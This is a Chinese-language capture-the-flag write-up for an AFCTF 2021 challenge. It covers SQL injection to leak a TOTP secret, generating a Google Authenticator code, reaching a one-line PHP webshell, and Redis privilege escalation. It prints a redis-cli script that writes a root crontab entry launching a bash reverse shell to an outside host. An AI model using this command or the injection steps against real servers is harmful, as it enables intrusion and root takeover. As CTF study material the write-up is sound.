[AFCTF 2021]google authenticator google验证生成 redis提权
今天学习几个知识点。进入页面发现登录框,扫目录没发现有用东西,弱口令没用,那就是sql注入,试试看。万能登录试试发现回显有东西。

进入去看看。

发现了个这个东西,去搜搜看。

找到可利用的东西,且给出了用法,但是我们不知道secret,去数据库里看看。报错注入发现users表,列名为id,username,password,otp_secret,可以想到otp_secret可能就是我们想要的,但是进行下一步使发现这个列名可能错了,利用substr去试试。

得到正确的列名,直接试试,因为数据过长,所以还需要使用substr来进行截取。利用base64解码得到secret为IFBVIRS7MJSXI5DFOJPWC3TEL5RGK5DUMVZCCIJB利用上边的脚本进行解密。利用在线编辑器直接require_once会报错说没有那个文件,直接将文件内容全部复制和脚本放一起跑,得到code。

将code输入到刚才能输入的界面得到955437022c63d658b5dda45d33692b9f.php,进去发现源码中有一句话木马,利用蚁剑连接。在目录没找到flag,去看看有什么进程。

发现redis,要想到redis提权,因为有三种方式,但现在不知道是哪一种,看看wp发现是设置定时任务来反弹shell。过程就是先反弹shell,进入redis-cli设置定时任务为root身份反弹shell,再次监听另一个端口,来达到获取flag。

可以看到普通反弹是没有root权限的,进入redis-cli设置定时任务。
点击查看代码
redis-cli <<-END
config set dir /var/spool/cron
config set dbfilename root
set task "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/ip/port 0>&1\n\n"
save
END

总结:
-
报错注入,注入回显长度限制
-
google验证码的破解。
-
redis提权

浙公网安备 33010602011771号